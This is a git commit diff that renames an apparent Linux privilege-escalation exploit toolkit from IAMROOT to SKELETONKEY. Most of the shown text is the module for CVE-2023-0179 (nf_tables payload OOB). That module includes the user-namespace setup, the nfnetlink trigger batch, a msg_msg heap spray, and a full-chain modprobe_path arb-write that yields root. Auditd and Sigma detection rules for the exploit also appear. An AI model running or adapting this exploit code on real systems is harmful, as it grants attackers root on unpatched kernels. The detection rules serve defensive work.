rename: IAMROOT → SKELETONKEY across the entire project
release / build (arm64) (push) Waiting to run
release / build (x86_64) (push) Waiting to run
release / release (push) Blocked by required conditions

Breaking change. Tool name, binary name, function/type names,
constant names, env vars, header guards, file paths, and GitHub
repo URL all rebrand IAMROOT → SKELETONKEY.

Changes:
  - All "IAMROOT" → "SKELETONKEY" (constants, env vars, enum
    values, docs, comments)
  - All "iamroot" → "skeletonkey" (functions, types, paths, CLI)
  - iamroot.c → skeletonkey.c
  - modules/*/iamroot_modules.{c,h} → modules/*/skeletonkey_modules.{c,h}
  - tools/iamroot-fleet-scan.sh → tools/skeletonkey-fleet-scan.sh
  - Binary "iamroot" → "skeletonkey"
  - GitHub URL KaraZajac/IAMROOT → KaraZajac/SKELETONKEY
  - .gitignore now expects build output named "skeletonkey"
  - /tmp/iamroot-* tmpfiles → /tmp/skeletonkey-*
  - Env vars IAMROOT_MODPROBE_PATH etc. → SKELETONKEY_*

New ASCII skeleton-key banner (horizontal key icon + ANSI Shadow
SKELETONKEY block letters) replaces the IAMROOT banner in
skeletonkey.c and README.md.

VERSION: 0.3.1 → 0.4.0 (breaking).

Build clean on Debian 6.12.86. `skeletonkey --version` → 0.4.0.
All 24 modules still register; no functional code changes — pure
rename + banner refresh.
This commit is contained in:
2026-05-16 22:43:49 -04:00
parent 9d88b475c1
commit 9593d90385
109 changed files with 1711 additions and 1701 deletions
+1 -1
View File
@@ -20,7 +20,7 @@ Upstream fix: mainline 6.2-rc4 (commit `696e1a48b1a1`, Jan 2023).
Branch backports: 4.14.302 / 4.19.269 / 5.4.229 / 5.10.163 /
5.15.88 / 6.1.6.
## IAMROOT role
## SKELETONKEY role
userns+netns. Hand-rolled nfnetlink batch: NEWTABLE → NEWCHAIN →
NEWSET with `NFTA_SET_DESC` describing variable-length elements →
@@ -1,12 +0,0 @@
/*
* nft_payload_cve_2023_0179 — IAMROOT module registry hook
*/
#ifndef NFT_PAYLOAD_IAMROOT_MODULES_H
#define NFT_PAYLOAD_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module nft_payload_module;
#endif
@@ -1,5 +1,5 @@
/*
* nft_payload_cve_2023_0179 IAMROOT module
* nft_payload_cve_2023_0179 SKELETONKEY module
*
* Netfilter nf_tables variable-length element-extension OOB R/W.
* Discovered January 2023 by Davide Ornaghi. nf_tables payload set/get
@@ -25,12 +25,12 @@
* payload-set whose attacker-controlled verdict.code drives the
* OOB), spray msg_msg payloads adjacent to the regs->data target,
* fires a synthetic packet through the chain, snapshots
* /proc/slabinfo, logs to /tmp/iamroot-nft_payload.log, returns
* IAMROOT_EXPLOIT_FAIL (primitive-only behavior).
* /proc/slabinfo, logs to /tmp/skeletonkey-nft_payload.log, returns
* SKELETONKEY_EXPLOIT_FAIL (primitive-only behavior).
* - With --full-chain: after the trigger lands, we resolve kernel
* offsets (env kallsyms System.map embedded table) and run
* a Davide-Ornaghi-style payload-set arb-write via the shared
* iamroot_finisher_modprobe_path() helper. The arb-write itself
* skeletonkey_finisher_modprobe_path() helper. The arb-write itself
* is FALLBACK-DEPTH: we refire the set-element registration with
* a verdict code chosen so the OOB index lands on a msg_msg slot
* we tagged with the caller's kaddr + payload bytes. The exact
@@ -47,7 +47,7 @@
* unprivileged user even on a kernel-vulnerable host.
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
@@ -129,12 +129,12 @@ static bool nf_tables_loaded(void)
return found;
}
static iamroot_result_t nft_payload_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t nft_payload_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] nft_payload: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
/* Bug introduced with the set-payload extension in 5.4. Anything
@@ -145,7 +145,7 @@ static iamroot_result_t nft_payload_detect(const struct iamroot_ctx *ctx)
"(set-payload extension landed in 5.4)\n",
v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
bool patched = kernel_range_is_patched(&nft_payload_range, &v);
@@ -153,7 +153,7 @@ static iamroot_result_t nft_payload_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] nft_payload: kernel %s is patched\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
int userns_ok = can_unshare_userns();
@@ -177,14 +177,14 @@ static iamroot_result_t nft_payload_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[i] nft_payload: still patch the kernel — a root "
"attacker can still trigger the bug\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[!] nft_payload: VULNERABLE — kernel in range AND "
"user_ns clone allowed\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
#ifdef __linux__
@@ -225,7 +225,7 @@ static int enter_unpriv_namespaces(void)
/* ------------------------------------------------------------------
* Minimal nfnetlink batch builder same shape as nf_tables_cve_2024_1086
* to keep the IAMROOT family code self-consistent; we inline rather
* to keep the SKELETONKEY family code self-consistent; we inline rather
* than link against the other module so a future refactor can pull the
* helpers up into core/ without breaking either consumer.
* ------------------------------------------------------------------ */
@@ -341,9 +341,9 @@ static void put_batch_end(uint8_t *buf, size_t *off, uint32_t seq)
* Per-module strings.
* ------------------------------------------------------------------ */
static const char NFT_TABLE_NAME[] = "iamroot_pl_t";
static const char NFT_CHAIN_NAME[] = "iamroot_pl_c";
static const char NFT_SET_NAME[] = "iamroot_pl_s";
static const char NFT_TABLE_NAME[] = "skeletonkey_pl_t";
static const char NFT_CHAIN_NAME[] = "skeletonkey_pl_c";
static const char NFT_SET_NAME[] = "skeletonkey_pl_s";
/* NFT expression "name" attributes are NUL-terminated short strings. */
#define NFT_EXPR_PAYLOAD_NAME "payload"
@@ -373,7 +373,7 @@ static const char NFT_SET_NAME[] = "iamroot_pl_s";
* exploitable range. The exact "right" magic is per-build; we ship a
* default that matched Davide's PoC on a stock 5.15 build and rely on
* the finisher's sentinel-file post-check to flag a layout mismatch as
* IAMROOT_EXPLOIT_FAIL rather than fake success. */
* SKELETONKEY_EXPLOIT_FAIL rather than fake success. */
#define NFT_PAYLOAD_OOB_INDEX_DEFAULT 0x100
/* ------------------------------------------------------------------
@@ -685,7 +685,7 @@ static void trigger_packet(void)
dst.sin_port = htons(31337);
dst.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
const char m[] = "iamroot-nft_payload-trigger";
const char m[] = "skeletonkey-nft_payload-trigger";
for (int i = 0; i < 8; i++) {
(void)!sendto(s, m, sizeof m, MSG_DONTWAIT,
(struct sockaddr *)&dst, sizeof dst);
@@ -732,7 +732,7 @@ static size_t build_refire_batch(uint8_t *batch, size_t cap, uint32_t *seq,
* KASAN, lockdep, kernel build options all shift it). The shipped
* default oob_index matches Davide's PoC on a stock 5.15 build; the
* shared finisher's sentinel-file post-check flags layout mismatch as
* IAMROOT_EXPLOIT_FAIL rather than fake success.
* SKELETONKEY_EXPLOIT_FAIL rather than fake success.
* ------------------------------------------------------------------ */
struct nft_payload_arb_ctx {
@@ -807,21 +807,21 @@ static int nft_payload_arb_write(uintptr_t kaddr, const void *buf, size_t len,
* Exploit body.
* ------------------------------------------------------------------ */
static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t nft_payload_exploit(const struct skeletonkey_ctx *ctx)
{
if (!ctx->authorized) {
fprintf(stderr, "[-] nft_payload: refusing — --i-know not passed; "
"exploit code can crash the kernel\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (geteuid() == 0) {
if (!ctx->json)
fprintf(stderr, "[i] nft_payload: already running as root\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
iamroot_result_t pre = nft_payload_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
skeletonkey_result_t pre = nft_payload_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] nft_payload: detect() says not vulnerable; refusing\n");
return pre;
}
@@ -841,35 +841,35 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
#ifndef __linux__
(void)ctx;
fprintf(stderr, "[-] nft_payload: linux-only exploit; non-linux build\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
#else
/* --- --full-chain path: resolve offsets in parent before doing
* anything destructive. */
if (ctx->full_chain) {
struct iamroot_kernel_offsets off;
struct skeletonkey_kernel_offsets off;
memset(&off, 0, sizeof off);
iamroot_offsets_resolve(&off);
if (!iamroot_offsets_have_modprobe_path(&off)) {
iamroot_finisher_print_offset_help("nft_payload");
return IAMROOT_EXPLOIT_FAIL;
skeletonkey_offsets_resolve(&off);
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
skeletonkey_finisher_print_offset_help("nft_payload");
return SKELETONKEY_EXPLOIT_FAIL;
}
iamroot_offsets_print(&off);
skeletonkey_offsets_print(&off);
if (enter_unpriv_namespaces() < 0) {
fprintf(stderr, "[-] nft_payload: userns entry failed\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
int sock = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC,
NETLINK_NETFILTER);
if (sock < 0) {
perror("[-] socket(NETLINK_NETFILTER)");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
struct sockaddr_nl src = { .nl_family = AF_NETLINK };
if (bind(sock, (struct sockaddr *)&src, sizeof src) < 0) {
perror("[-] bind"); close(sock);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
int rcvbuf = 1 << 20;
setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof rcvbuf);
@@ -887,7 +887,7 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
}
uint8_t *batch = calloc(1, 16 * 1024);
if (!batch) { close(sock); return IAMROOT_EXPLOIT_FAIL; }
if (!batch) { close(sock); return SKELETONKEY_EXPLOIT_FAIL; }
uint32_t seq = (uint32_t)time(NULL);
size_t blen = build_trigger_batch(batch, 16 * 1024, &seq,
@@ -901,7 +901,7 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
drain_queues(qids_small, SPRAY_QUEUES_SMALL);
drain_queues(qids_large, SPRAY_QUEUES_LARGE);
free(batch); close(sock);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
struct nft_payload_arb_ctx ac = {
@@ -917,10 +917,10 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
.arb_calls = 0,
};
iamroot_result_t r = iamroot_finisher_modprobe_path(
skeletonkey_result_t r = skeletonkey_finisher_modprobe_path(
&off, nft_payload_arb_write, &ac, !ctx->no_shell);
FILE *fl = fopen("/tmp/iamroot-nft_payload.log", "a");
FILE *fl = fopen("/tmp/skeletonkey-nft_payload.log", "a");
if (fl) {
fprintf(fl, "full_chain finisher rc=%d arb_calls=%d "
"spray_small=%d spray_large=%d\n",
@@ -936,9 +936,9 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
}
/* --- primitive-only path: fork-isolated trigger so a kernel oops
* doesn't take down the iamroot driver. */
* doesn't take down the skeletonkey driver. */
pid_t child = fork();
if (child < 0) { perror("[-] fork"); return IAMROOT_TEST_ERROR; }
if (child < 0) { perror("[-] fork"); return SKELETONKEY_TEST_ERROR; }
if (child == 0) {
/* --- CHILD --- */
@@ -1016,7 +1016,7 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
pre_96, post_96);
}
FILE *log = fopen("/tmp/iamroot-nft_payload.log", "w");
FILE *log = fopen("/tmp/skeletonkey-nft_payload.log", "w");
if (log) {
fprintf(log,
"nft_payload trigger child: spray_small=%d spray_large=%d "
@@ -1048,7 +1048,7 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
"likely fired (KASAN/oops can manifest as child "
"signal)\n", WTERMSIG(status));
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
int rc = WEXITSTATUS(status);
@@ -1061,19 +1061,19 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
" Davide Ornaghi's payload-set + regs->data\n"
" arb-write + modprobe_path overwrite chain.\n");
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (rc >= 20 && rc <= 24) {
if (!ctx->json) {
fprintf(stderr, "[-] nft_payload: trigger setup failed (child rc=%d)\n",
rc);
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[-] nft_payload: unexpected child rc=%d\n", rc);
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
#endif /* __linux__ */
}
@@ -1081,15 +1081,15 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
* Cleanup.
* ------------------------------------------------------------------ */
static iamroot_result_t nft_payload_cleanup(const struct iamroot_ctx *ctx)
static skeletonkey_result_t nft_payload_cleanup(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json) {
fprintf(stderr, "[*] nft_payload: tearing down log\n");
}
if (unlink("/tmp/iamroot-nft_payload.log") < 0 && errno != ENOENT) {
if (unlink("/tmp/skeletonkey-nft_payload.log") < 0 && errno != ENOENT) {
/* ignore */
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* ------------------------------------------------------------------
@@ -1101,16 +1101,16 @@ static const char nft_payload_auditd[] =
"# Flag unshare(CLONE_NEWUSER|CLONE_NEWNET) followed by NETLINK_NETFILTER\n"
"# socket setup. Canonical exploit shape: unprivileged userns + nft\n"
"# rule loading. False positives: firewalld, docker/podman rootless.\n"
"-a always,exit -F arch=b64 -S unshare -k iamroot-nft-payload-userns\n"
"-a always,exit -F arch=b32 -S unshare -k iamroot-nft-payload-userns\n"
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-nft-payload-userns\n"
"-a always,exit -F arch=b32 -S unshare -k skeletonkey-nft-payload-userns\n"
"# Watch for the canonical post-exploit primitive: setresuid(0,0,0)\n"
"# from a previously-unpriv task is the smoking gun for any kernel LPE.\n"
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 "
"-k iamroot-nft-payload-priv\n";
"-k skeletonkey-nft-payload-priv\n";
static const char nft_payload_sigma[] =
"title: Possible CVE-2023-0179 nft_payload regset-OOB exploitation\n"
"id: c83d6e92-iamroot-nft-payload\n"
"id: c83d6e92-skeletonkey-nft-payload\n"
"status: experimental\n"
"description: |\n"
" Detects the canonical exploit shape for CVE-2023-0179: an\n"
@@ -1134,7 +1134,7 @@ static const char nft_payload_sigma[] =
"level: high\n"
"tags: [attack.privilege_escalation, attack.t1068, cve.2023.0179]\n";
const struct iamroot_module nft_payload_module = {
const struct skeletonkey_module nft_payload_module = {
.name = "nft_payload",
.cve = "CVE-2023-0179",
.summary = "nft_payload set-id regset OOB R/W (Davide Ornaghi) → kernel R/W",
@@ -1151,7 +1151,7 @@ const struct iamroot_module nft_payload_module = {
.detect_falco = NULL,
};
void iamroot_register_nft_payload(void)
void skeletonkey_register_nft_payload(void)
{
iamroot_register(&nft_payload_module);
skeletonkey_register(&nft_payload_module);
}
@@ -0,0 +1,12 @@
/*
* nft_payload_cve_2023_0179 — SKELETONKEY module registry hook
*/
#ifndef NFT_PAYLOAD_SKELETONKEY_MODULES_H
#define NFT_PAYLOAD_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module nft_payload_module;
#endif